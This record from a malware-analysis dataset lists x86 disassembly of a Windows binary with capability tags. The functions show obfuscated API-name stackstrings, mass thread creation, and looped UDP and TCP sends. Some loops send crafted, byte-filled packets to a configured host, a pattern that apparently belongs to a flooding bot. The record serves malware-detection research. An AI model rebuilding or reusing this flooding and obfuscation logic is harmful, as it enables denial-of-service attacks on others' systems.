joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13159ac0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159af3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315a5d0
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159ad7
pop ebx
pop edi
pop esi
ret

Function at 0x13159b00
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159b33
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315a7f0
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159b17
pop ebx
pop edi
pop esi
ret

Function at 0x13159b40
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159b73
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315a900
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159b57
pop ebx
pop edi
pop esi
ret

Function at 0x13159b80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159bb3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315a980
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159b97
pop ebx
pop edi
pop esi
ret

Function at 0x13159bc0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159bf3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315aa50
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159bd7
pop ebx
pop edi
pop esi
ret

Function at 0x13159c30
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159c63
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315adc0
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159c47
pop ebx
pop edi
pop esi
ret

Function at 0x13159c70
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159ca3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315b040
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159c87
pop ebx
pop edi
pop esi
ret

Function at 0x13159cb0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159ce3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315b310
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159cc7
pop ebx
pop edi
pop esi
ret
Function at 0x13159cf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [0x1315ec04]
sub esp, 0x244
test eax, eax
jne 0x13159e8e
push ebx
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetProcAddress]
push esi
push edi
mov bl, 0x74
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x4c]
mov byte [esp + 0x1c], al
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.kernel32.dll_LoadLibraryA]
mov byte [esp + 0x38], al
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x34], 0x47
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x54
mov byte [esp + 0x38], 0x65
mov byte [esp + 0x39], 0x6d
mov byte [esp + 0x3a], 0x70
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x61
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x68
mov byte [esp + 0x3f], 0x41
call edi
push eax
call ebp
mov esi, eax
lea edx, [esp + 0x3c]
lea eax, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x54
mov byte [esp + 0x48], 0x69
mov byte [esp + 0x49], 0x63
mov byte [esp + 0x4a], 0x6b
mov byte [esp + 0x4b], 0x43
mov byte [esp + 0x4c], 0x6f
mov byte [esp + 0x4d], 0x75
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0
call edi
push eax
call ebp
lea ecx, [esp + 0x4c]
mov edi, eax
push ecx
push 0x104
call esi
mov byte [esp + 0x20], 0x25
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], 0x25
mov byte [esp + 0x24], 0x64
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x70
mov byte [esp + 0x28], 0
call edi
push eax
lea edx, [esp + 0x50]
lea eax, [esp + 0x24]
push edx
lea ecx, [esp + 0x158]
push eax
push ecx
call sub.msvcrt.dll_sprintf
lea edx, [esp + 0x160]
push edx
push 0x1315df70
call fcn.131563f0
mov eax, dword [0x1315df6c]
add esp, 0x18
push eax
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x1315ec04]
test eax, eax
je 0x13159d0f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x244
ret
xor eax, eax
add esp, 0x244
ret

Function at 0x13159eb0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x13159ee3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x13159ea0
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x13159ec7
pop ebx
pop edi
pop esi
ret
Function at 0x13159f00
Capabilities:
Contain obfuscated stackstrings
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x5cc
lea eax, [esp + 0x43c]
push ebx
push ebp
push esi
push edi
push eax
mov edi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ebx, ebx
push 1
push ebx
push ebx
push 1
mov ebp, 2
push 3
push ebp
call dword [fcn.1315eaf4]
mov esi, eax
cmp esi, 0xffffffff
je 0x1315a099
push 4
push 0x1315df6c
push 0x1005
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1315a099
push 0x1315df70
mov ecx, edi
mov word [esp + 0x40], bp
call fcn.1315b460
mov dword [esp + 0x40], eax
mov al, 0x45
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov al, 0x6c
lea ecx, [esp + 0x20]
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
lea edx, [esp + 0x10]
mov al, 0x74
push ecx
push edx
mov byte [esp + 0x39], bl
mov word [esp + 0x3c], bp
mov word [esp + 0x3a], bx
mov word [esp + 0x3e], 0x200
mov byte [esp + 0x38], 8
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], bl
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x29], 0x65
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x54
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x6b
mov byte [esp + 0x2f], 0x43
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], al
mov byte [esp + 0x34], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
call eax
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x4c], ecx
push 0x1a
mov ecx, edi
mov dword [esp + 0x54], edx
mov dword [esp + 0x58], eax
call fcn.131597b0
add eax, 0x61
lea edi, [esp + 0x58]
mov cl, al
mov ch, cl
mov eax, ecx
shl eax, 0x10
mov ax, cx
mov ecx, 0x100
rep stosd dword es:[edi], eax
cmp dword [0x1315ec04], ebx
jne 0x1315a093
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
mov edi, 0xa
lea edx, [esp + 0x3c]
push 0x10
push edx
push ebx
lea eax, [esp + 0x58]
push 0x40c
push eax
push esi
call ebp
dec edi
jne 0x1315a073
cmp dword [0x1315ec04], ebx
je 0x1315a06e
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x5cc
ret
Function at 0x1315a3f0
Capabilities:
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov eax, 0x1140
call fcn.1315cd30
push ebx
lea eax, [esp + 0x14]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [0x1315e074]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_ntohs]
push 0x1315df70
mov ecx, esi
mov word [esp + 0xe], ax
call fcn.1315b460
push 0x11
push 2
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov eax, dword [0x1315ec04]
test eax, eax
jne 0x1315a4c2
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
push edi
push 0xff
push 0
mov ecx, esi
call fcn.1315b320
mov cl, al
lea edi, [esp + 0x1b0]
mov ch, cl
lea edx, [esp + 0x10]
mov eax, ecx
push 0x10
shl eax, 0x10
mov ax, cx
mov ecx, 0x3e8
rep stosd dword es:[edi], eax
push edx
push 0
lea eax, [esp + 0x1bc]
push 0xfa0
push eax
push ebx
call ebp
mov ecx, dword [0x1315df6c]
push ecx
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315a469
pop edi
pop ebp
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x1140
ret

Function at 0x1315a4f0
Capabilities:
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x1a4
push ebp
lea eax, [esp + 0x18]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x1315df70
mov ecx, esi
mov word [esp + 0x10], 2
call fcn.1315b460
mov cx, word [0x1315e074]
mov dword [esp + 0x10], eax
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
push 0
push 2
push 2
mov word [esp + 0x1a], ax
call dword [sym.imp.WS2_32.dll_socket]
lea edx, [esp + 8]
push 4
push edx
mov ebp, eax
push 0x1001
push 0xffff
push ebp
mov dword [esp + 0x1c], 0
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [0x1315ec04]
test eax, eax
jne 0x1315a5b8
push ebx
push edi
add esi, 4
mov ebx, 0xc
lea eax, [esp + 0x14]
push 0x10
push eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push 0
push ecx
push esi
push ebp
call dword [sym.imp.WS2_32.dll_sendto]
dec ebx
jne 0x1315a575
mov ecx, dword [0x1315df6c]
push ecx
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315a570
pop edi
pop ebx
pop esi
xor eax, eax
pop ebp
add esp, 0x1a4
ret
pop esi
xor eax, eax
pop ebp
add esp, 0x1a4
ret
Function at 0x1315a5e0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0xb04
push ebx
push ebp
push esi
lea eax, [esp + 0x980]
push edi
push eax
mov dword [esp + 0x34], ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x480]
push 0x104
push ecx
xor ebx, ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [esp + 0x480]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x1315a631
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov esi, dword [ecx]
mov ebp, dword [sym.imp.WS2_32.dll_ntohs]
mov ecx, 0x100
mov eax, 0x41414141
lea edi, [esp + 0x584]
rep stosd dword es:[edi], eax
push 0x41c
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], bl
call ebp
push 0x1315df70
mov word [esp + 0x1e], ax
mov word [esp + 0x20], bx
mov word [esp + 0x22], bx
mov byte [esp + 0x24], 0x80
mov byte [esp + 0x25], 0x11
mov word [esp + 0x26], bx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1544
mov dword [esp + 0x2c], eax
call ebp
mov dx, word [0x1315e074]
mov word [esp + 0x10], ax
push edx
call ebp
push 0x408
mov word [esp + 0x16], ax
call ebp
mov dx, ax
mov ecx, 0x10f
xor eax, eax
lea edi, [esp + 0x44]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x28]
mov word [esp + 0x14], dx
mov word [esp + 0x16], bx
mov word [esp + 0x4e], dx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x24], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x50], ecx
mov ecx, 0x100
lea esi, [esp + 0x584]
lea edi, [esp + 0x58]
mov dword [esp + 0x48], eax
mov byte [esp + 0x4d], 0x11
mov dword [esp + 0x54], edx
lea eax, [esp + 0x44]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x30]
push 0x414
push eax
call fcn.1315b400
mov ecx, 5
lea esi, [esp + 0x18]
lea edi, [esp + 0x44]
push ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
mov word [esp + 0x1a], ax
mov edx, dword [esp + 0x18]
push ebx
mov dword [esp + 0x60], ecx
push ebx
mov ecx, 0x100
lea esi, [esp + 0x590]
lea edi, [esp + 0x6c]
push 0x11
mov dword [esp + 0x6c], edx
push 3
rep movsd dword es:[edi], dword [esi]
push 2
call dword [fcn.1315eaf4]
mov esi, eax
lea eax, [esp + 0x2c]
push 4
push eax
push 2
push ebx
mov dword [esp + 0x3c], 1
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1315a7dd
mov cx, word [0x1315e074]
mov word [esp + 0x34], 2
push ecx
call ebp
push 0x1315df70
mov word [esp + 0x3a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x38], eax
mov eax, dword [0x1315ec04]
cmp eax, ebx
jne 0x1315a7dd
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
mov edi, 0x1388
lea edx, [esp + 0x34]
push 0x10
push edx
push ebx
lea eax, [esp + 0x50]
push 0x41c
push eax
push esi
call ebp
dec edi
jne 0x1315a7b0
mov ecx, dword [0x1315df6c]
push ecx
call dword [sym.imp.kernel32.dll_Sleep]
cmp dword [0x1315ec04], ebx
je 0x1315a7ab
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xb04
ret
Function at 0x1315a800
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
sub esp, 0x5a0
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov edi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [0x1315e074]
xor ecx, ecx
mov dword [esp + 8], ecx
push edx
mov dword [esp + 0x10], ecx
mov word [esp + 0xc], 2
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
call dword [sym.imp.WS2_32.dll_ntohs]
push 0x1315df70
mov ecx, edi
mov word [esp + 0xe], ax
call fcn.1315b460
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [esp + 8]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1315a88c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
mov eax, 1
pop esi
add esp, 0x5a0
ret
push 0xff
push 0
mov ecx, edi
call fcn.1315b320
mov cl, al
lea edi, [esp + 0x1a8]
mov ch, cl
mov eax, ecx
shl eax, 0x10
mov ax, cx
mov ecx, 0x100
rep stosd dword es:[edi], eax
mov eax, dword [0x1315ec04]
test eax, eax
jne 0x1315a8ee
mov edi, dword [sym.imp.WS2_32.dll_send]
push ebx
mov ebx, dword [sym.imp.kernel32.dll_Sleep]
push 0
lea edx, [esp + 0x1b0]
push 0x400
push edx
push esi
call edi
mov eax, dword [0x1315df6c]
push eax
call ebx
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315a8ca
pop ebx
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x5a0
ret

Function at 0x1315a910
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [0x1315ec04]
test eax, eax
jne 0x1315a971
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
lea ebx, [ecx + 4]
mov eax, dword [0x1315e074]
push eax
push 0x1315df70
call fcn.131596b0
mov esi, eax
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
push 0
push ecx
push ebx
push esi
call ebp
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [0x1315df6c]
push ecx
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315a926
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
xor eax, eax
ret
Function at 0x1315a990
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x1a0
lea eax, [esp + 0x10]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dx, word [0x1315e074]
xor ecx, ecx
mov dword [esp + 4], ecx
push edx
mov dword [esp + 0xc], ecx
mov word [esp + 8], 2
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
call dword [sym.imp.WS2_32.dll_ntohs]
push 0x1315df70
mov ecx, esi
mov word [esp + 0xa], ax
call fcn.1315b460
mov dword [esp + 8], eax
mov eax, dword [0x1315ec04]
test eax, eax
jne 0x1315aa40
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_connect]
push ebp
mov ebp, dword [sym.imp.kernel32.dll_Sleep]
push edi
mov edi, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call edi
mov esi, eax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call ebx
mov ecx, dword [0x1315df6c]
push ecx
call ebp
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315aa03
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x1a0
ret
mov eax, 1
pop esi
add esp, 0x1a0
ret
Function at 0x1315b320
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, dword [esp + 0x2c]
push edi
mov edi, dword [esp + 0x2c]
cmp edi, esi
jne 0x1315b33b
mov eax, edi
pop edi
pop esi
add esp, 0x20
ret 8
mov al, 0x45
xor cl, cl
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov al, 0x6c
mov byte [esp + 0x24], cl
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
mov al, 0x74
mov byte [esp + 0x14], cl
mov byte [esp + 0xa], al
mov byte [esp + 0x13], al
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x4b
mov byte [esp + 0x22], 0x52
mov byte [esp + 0x23], 0x4e
mov byte [esp + 0x25], 0x4c
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x65
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x69
mov byte [esp + 0x15], 0x63
mov byte [esp + 0x16], 0x6b
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x6f
mov byte [esp + 0x19], 0x75
mov byte [esp + 0x1a], 0x6e
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
call eax
push eax
call sub.msvcrt.dll_srand
add esp, 4
call sub.msvcrt.dll_rand
add eax, 3
sub esi, edi
cdq
inc esi
idiv esi
mov eax, edx
add eax, edi
pop edi
pop esi
add esp, 0x20
ret 8

Function at 0x1315b460
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x1315b486
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1315b47f
pop esi
ret 4
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret 4

Function at 0x1315b490
Capabilities:
Create tcp socket
Create udp socket
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x118
push ebx
push esi
mov edx, ecx
push edi
mov ecx, 9
mov esi, 0x13152554
lea edi, [esp + 0x20]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x38
lea edi, [esp + 0x44]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x1315df70
mov ebx, ecx
mov ecx, edx
mov word [esp + 0x14], 2
call fcn.1315b460
mov dword [esp + 0x14], eax
mov ax, word [0x1315e074]
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
push 0
push 2
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0xc]
push 4
push ecx
mov esi, eax
push 0x1001
push 0xffff
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp dword [0x1315ec04], 1
je 0x1315b55e
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_sendto]
mov edi, 0xc
lea edx, [esp + 0x14]
push 0x10
push edx
push 0
lea eax, [esp + 0x30]
push ebx
push eax
push esi
call ebp
dec edi
jne 0x1315b532
mov ecx, dword [0x1315df6c]
push ecx
call dword [sym.imp.kernel32.dll_Sleep]
cmp dword [0x1315ec04], 1
jne 0x1315b52d
pop ebp
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x118
ret
Function at 0x1315b590
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x1315b5c3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315b580
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x1315b5a7
pop ebx
pop edi
pop esi
ret

Function at 0x1315ba10
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x664
mov ecx, 0x104
xor eax, eax
lea edx, [esp + 0x4c]
push esi
push edi
lea edi, [esp + 0x25c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x54]
rep stosd dword es:[edi], eax
mov edi, 0x1315df70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x158]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x13152588
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0xc]
push ecx
call fcn.13157480
mov edx, dword [0x1315e074]
add esp, 8
push edx
push 0x1315df70
push 0x131520dc
call fcn.13159270
add esp, 4
lea ecx, [esp + 0x264]
push eax
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x1315ec04]
add esp, 0x14
test eax, eax
jne 0x1315bb4a
mov esi, dword [sym.imp.WS2_32.dll_send]
push ebx
mov ebx, dword [sym.imp.kernel32.dll_Sleep]
mov edx, dword [0x1315e074]
push edx
push 0x1315df70
call fcn.131596b0
mov edx, eax
lea edi, [esp + 0x268]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
lea eax, [esp + 0x264]
push ecx
push eax
push edx
call esi
mov ecx, dword [0x1315df6c]
push ecx
call ebx
mov eax, dword [0x1315ec04]
test eax, eax
je 0x1315baf4
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x664
ret
pop edi
mov eax, 1
pop esi
add esp, 0x664
ret

Function at 0x1315bb70
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi + 0x404]
test eax, eax
jle 0x1315bba3
push ebx
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
push 0
push 0
push esi
push 0x1315bb60
push 0
push 0
call ebx
mov eax, dword [esi + 0x404]
inc edi
cmp edi, eax
jl 0x1315bb87
pop ebx
pop edi
pop esi
ret